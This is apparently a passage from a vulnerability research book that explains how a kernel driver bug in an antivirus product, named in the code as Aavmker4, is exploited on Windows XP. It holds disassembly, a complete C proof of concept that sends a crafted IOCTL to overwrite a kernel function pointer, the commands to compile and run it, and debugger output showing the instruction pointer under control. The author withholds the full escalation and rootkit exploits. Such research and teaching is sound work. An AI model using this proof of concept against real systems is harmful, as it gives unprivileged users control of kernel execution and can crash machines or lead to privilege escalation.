6.2 Exploitation

To gain control of EIP, I first had to find a suitable target address to overwrite. While searching through the IOCTL dispatch routine, I found two places where a function pointer is called:

[..]
.text:00010D8F            push    2               ; _DWORD
.text:00010D91            push    1               ; _DWORD
.text:00010D93            push    1               ; _DWORD
.text:00010D95            push    dword ptr [eax] ; _DWORD
.text:00010D97            call    KeGetCurrentThread
.text:00010D9C            push    eax             ; _DWORD
.text:00010D9D            call    dword_12460     ; the function pointer is called
.text:00010DA3            mov     [ebx+18h], eax
.text:00010DA6            jmp     loc_10F04
[..]
.text:00010DB6            push    2               ; _DWORD
.text:00010DB8            push    1               ; _DWORD
.text:00010DBA            push    1               ; _DWORD
.text:00010DBC            push    edi             ; _DWORD
.text:00010DBD            call    KeGetCurrentThread
.text:00010DC2            push    eax             ; _DWORD
.text:00010DC3            call    dword_12460     ; the function pointer is called
[..]
.data:00012460 ; int (__stdcall *dword_12460)(_DWORD,
 _DWORD, _DWORD, _DWORD, _DWORD)
.data:00012460 dword_12460     dd 0               ; the function pointer is declared
[..]

The function pointer declared at .data:00012460 is called at .text:00010D9D and .text:00010DC3 in the dispatch routine. To gain control over EIP, all I had to do was overwrite this function pointer and then wait for it to be called. I wrote the following POC code to manipulate the function pointer:

Example 6-2. The POC code that I wrote to manipulate the function pointer at .data:00012460 (poc.c)

01    #include <windows.h>
 02    #include <winioctl.h>
 03    #include <stdio.h>
 04    #include <psapi.h>
 05
 06    #define IOCTL            0xB2D60030  // vulnerable IOCTL
 07    #define INPUTBUFFER_SIZE 0x878       // input data length
 08
 09    __inline void
 10    memset32 (void* dest, unsigned int fill, unsigned int count)
 11    {
 12     if (count > 0) {
 13       _asm {
 14         mov   eax, fill   // pattern
 15         mov   ecx, count  // count
 16         mov   edi, dest   // dest
 17         rep   stosd;
 18       }
 19     }
 20    }
 21
 22    unsigned int
 23    GetDriverLoadAddress (char *drivername)
 24    {
 25     LPVOID        drivers[1024];
 26     DWORD         cbNeeded  = 0;
 27     int           cDrivers  = 0;
 28     int           i         = 0;
 29     const char *  ptr       = NULL;
 30     unsigned int  addr      = 0;
 31
 32     if (EnumDeviceDrivers (drivers, sizeof (drivers), &cbNeeded) &&
 33                            cbNeeded < sizeof (drivers)) {
 34       char szDriver[1024];
 35
 36       cDrivers = cbNeeded / sizeof (drivers[0]);
 37
 38       for (i = 0; i < cDrivers; i++) {
 39         if (GetDeviceDriverBaseName (drivers[i], szDriver,
 40                                      sizeof (szDriver) / sizeof (szDriver[0]))) {
 41           if (!strncmp (szDriver, drivername, 8)) {
 42             printf ("%s (%08x)\n", szDriver, drivers[i]);
 43             return (unsigned int)(drivers[i]);
 44           }
 45         }
 46       }
 47     }
 48
 49     fprintf (stderr, "ERROR: cannot get address of driver %s\n", drivername);
 50
 51     return 0;
 52    }
 53
 54    int
 55    main (void)
 56    {
 57      HANDLE        hDevice;
 58      char *        InputBuffer       = NULL;
 59      BOOL          retval            = TRUE;
 60      unsigned int  driveraddr        = 0;
 61      unsigned int  pattern1          = 0xD0DEAD07;
 62      unsigned int  pattern2          = 0x10BAD0BA;
 63      unsigned int  addr_to_overwrite = 0;      // address to overwrite
 64      char          data[2048];
 65
 66      // get the base address of the driver
 67      if (!(driveraddr = GetDriverLoadAddress ("Aavmker4"))) {
 68        return 1;
 69      }
 70
 71      // address of the function pointer at .data:00012460 that gets overwritten
 72      addr_to_overwrite = driveraddr + 0x2460;
 73
 74      // allocate InputBuffer
 75      InputBuffer = (char *)VirtualAlloc ((LPVOID)0,
 76                        INPUTBUFFER_SIZE,
 77                        MEM_COMMIT | MEM_RESERVE,
 78                        PAGE_EXECUTE_READWRITE);
 79
 80      /////////////////////////////////////////////////////////////////////////////
 81      // InputBuffer data:
 82      //
 83      // .text:00010DC9  mov esi, [ebx+0Ch]  ; ESI == InputBuffer
 84
 85      // fill InputBuffer with As
 86      memset (InputBuffer, 0x41, INPUTBUFFER_SIZE);
 87
 88      // .text:00010DE6  mov eax, [esi+870h] ; EAX == pointer to "data"
 89      memset32 (InputBuffer + 0x870, (unsigned int)&data, 1);
 90
 91      /////////////////////////////////////////////////////////////////////////////
 92      // data:
 93      //
 94
 95      // As the "data" buffer is used as a parameter for a
 "KeSetEvent" windows kernel
 96      // function, it needs to contain some valid pointers
 (.text:00010E2C call ds:KeSetEvent)
 97      memset32 (data, (unsigned int)&data, sizeof (data) / sizeof (unsigned int));
 98
 99      // .text:00010DEF  cmp dword ptr [eax], 0D0DEAD07h ; EAX == pointer to "data"
100      memset32 (data, pattern1, 1);
101
102      // .text:00010DF7  cmp dword ptr [eax+4], 10BAD0BAh ; EAX
 == pointer to "data"
103      memset32 (data + 4, pattern2, 1);
104
105      // .text:00010E18 mov edi, [eax+18h] ; EAX == pointer to "data"
106      memset32 (data + 0x18, addr_to_overwrite, 1);
107
108      /////////////////////////////////////////////////////////////////////////////
109      // open device
110      hDevice = CreateFile (TEXT("\\\\.\\AavmKer4"),
111                  GENERIC_READ | GENERIC_WRITE,
112                  FILE_SHARE_READ | FILE_SHARE_WRITE,
113                  NULL,
114                  OPEN_EXISTING,
115                  0,
116                  NULL);
117
118      if (hDevice != INVALID_HANDLE_VALUE) {
119        DWORD retlen = 0;
120
121        // send evil IOCTL request
122        retval = DeviceIoControl (hDevice,
123                      IOCTL,
124                      (LPVOID)InputBuffer,
125                      INPUTBUFFER_SIZE,
126                      (LPVOID)NULL,
127                      0,
128                      &retlen,
129                      NULL);
130
131        if (!retval) {
132          fprintf (stderr, "[-] Error: DeviceIoControl failed\n");
133        }
134
135      } else {
136        fprintf (stderr, "[-] Error: Unable to open device.\n");
137      }
138
139      return (0);
140    }

In line 67 of Example 6-2, the base address of the driver in memory is stored in driveraddr. Then, in line 72, the address of the function pointer is calculated; this is overwritten by the manipulated memcpy() call. A buffer of INPUTBUFFER_SIZE (0x878) bytes is allocated in line 75. This buffer holds the IOCTL input data, which is filled with the hexadecimal value 0x41 (see line 86). Then a pointer to another data array is copied into the input data buffer (see line 89). In the disassembly of the driver, this pointer is referenced at address .text:00010DE6: mov eax, [esi+870h].

Directly after the call of the memcpy() function, the kernel function KeSetEvent() is called:

[..]
.text:00010E10                 add     esi, 4          ; source address
.text:00010E13                 mov     ecx, 21Ah       ; length
.text:00010E18                 mov     edi, [eax+18h]  ; destination address
.text:00010E1B                 rep movsd               ; memcpy()
.text:00010E1D                 dec     PendingCount2
.text:00010E23                 inc     dword ptr [eax+20h]
.text:00010E26                 push    edx             ; Wait
.text:00010E27                 push    edx             ; Increment
.text:00010E28                 add     eax, 8
.text:00010E2B                 push    eax             ; Parameter of KeSetEvent
.text:00010E2B                                         ; (eax = IOCTL input data)
.text:00010E2C                 call    ds:KeSetEvent   ; KeSetEvent is called
.text:00010E32                 xor     edi, edi
[..]

Since the user-derived data pointed to by EAX is used as a parameter for this function (see .text:00010E2B), the data buffer needs to be filled with valid pointers in order to prevent an access violation. I filled the whole buffer with its own valid user space address (see line 97). Then in lines 100 and 103, the two expected patterns are copied into the data buffer (see .text:00010DEF and .text:00010DF7), and in line 106, the destination address for the memcpy() function is copied into the data buffer (.text:00010E18 mov edi, [eax+18h]). The device of the driver is then opened for reading and writing (see line 110), and the malicious IOCTL request is sent to the vulnerable kernel driver (see line 122).

After I developed that POC code, I started the Windows XP VMware guest system and attached WinDbg to the kernel (see Section B.2 for a description of the following debugger commands):

kd> .sympath SRV*c:\WinDBGSymbols*http://msdl.microsoft.com/download/symbols
kd> .reload
[..]
kd> g
Break instruction exception - code 80000003 (first chance)
*******************************************************************************
*                                                                             *
*   You are seeing this message because you pressed either                    *
*       CTRL+C (if you run kd.exe) or,                                        *
*       CTRL+BREAK (if you run WinDBG),                                       *
*   on your debugger machine's keyboard.                                      *
*                                                                             *
*                   THIS IS NOT A BUG OR A SYSTEM CRASH                       *
*                                                                             *
* If you did not intend to break into the debugger, press the "g" key, then   *
* press the "Enter" key now.  This message might immediately reappear.  If it *
* does, press "g" and "Enter" again.                                          *
*                                                                             *
*******************************************************************************
nt!RtlpBreakWithStatusInstruction:
80527bdc cc              int     3

kd> g

I then compiled the POC code with the command-line C compiler of Visual Studio (cl) and executed it as an unprivileged user inside the VMware guest system:

C:\BHD\avast>cl /nologo poc.c psapi.lib
C:\BHD\avast>poc.exe

After I executed the POC code, nothing happened. So how could I find out if the function pointer was successfully manipulated? Well, all I had to do was trigger the antivirus engine by opening an arbitrary executable. I opened Internet Explorer and got the following message in the debugger:

#################### AAVMKER: WRONG RQ ######################!
Access violation - code c0000005 (!!! second chance !!!)
                     41414141 ??                ???

Yes! The instruction pointer appeared to be under my full control. To verify this, I asked the debugger for more information:

kd> kb
ChildEBP RetAddr  Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
ee91abc0 f7925da3 862026a8 e1cd33a8 00000001 0x41414141
ee91ac34 804ee119 86164030 860756b8 806d22d0 Aavmker4+0xda3
ee91ac44 80574d5e 86075728 861494e8 860756b8 nt!IopfCallDriver+0x31
ee91ac58 80575bff 86164030 860756b8 861494e8 nt!IopSynchronousServiceTail+0x70
ee91ad00 8056e46c 0000011c 00000000 00000000 nt!IopXxxControlFile+0x5e7
ee91ad34 8053d638 0000011c 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
ee91ad34 7c90e4f4 0000011c 00000000 00000000 nt!KiFastCallEntry+0xf8
0184c4d4 650052be 0000011c b2d60034 0184ff74 0x7c90e4f4
0184ffb4 7c80b713 0016d2a0 00150000 0016bd90 0x650052be
0184ffec 00000000 65004f98 0016d2a0 00000000 0x7c80b713

kd> r
eax=862026a8 ebx=860756b8 ecx=b2d6005b edx=00000000 esi=00000008 edi=861494e8
eip=41414141 esp=ee91abc4 ebp=ee91ac34 iopl=0         nv up ei pl nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010202
41414141 ??              ???

The exploitation process, illustrated in Figure 6-7, was as follows:

  1. Is the length of the input data 0x878? If so, proceed to step 2.

  2. The user space buffer data gets referenced.

  3. Are the expected patterns found at data[0] and data[4]? If so, proceed to step 4.

  4. The destination address for the memcpy() call gets referenced.

  5. The memcpy() function copies the IOCTL input data into the .data area of the kernel.

  6. The manipulated function pointer gives full control over EIP.

If the POC code is executed without a kernel debugger attached, the famed Blue Screen of Death (BSoD) will appear (see Figure 6-8).

The Blue Screen of Death (BSoD)

Figure 6-8. The Blue Screen of Death (BSoD)

After I gained control over EIP, I developed two exploits. One of them grants SYSTEM rights to any requesting user (privilege escalation), and the other installs a rootkit into the kernel using the well-known Direct Kernel Object Manipulation (DKOM) technique.[72]

Strict laws prohibit me from providing a full, working exploit, but if you’re interested, you can watch a video of the exploit in action at the book’s website.[73]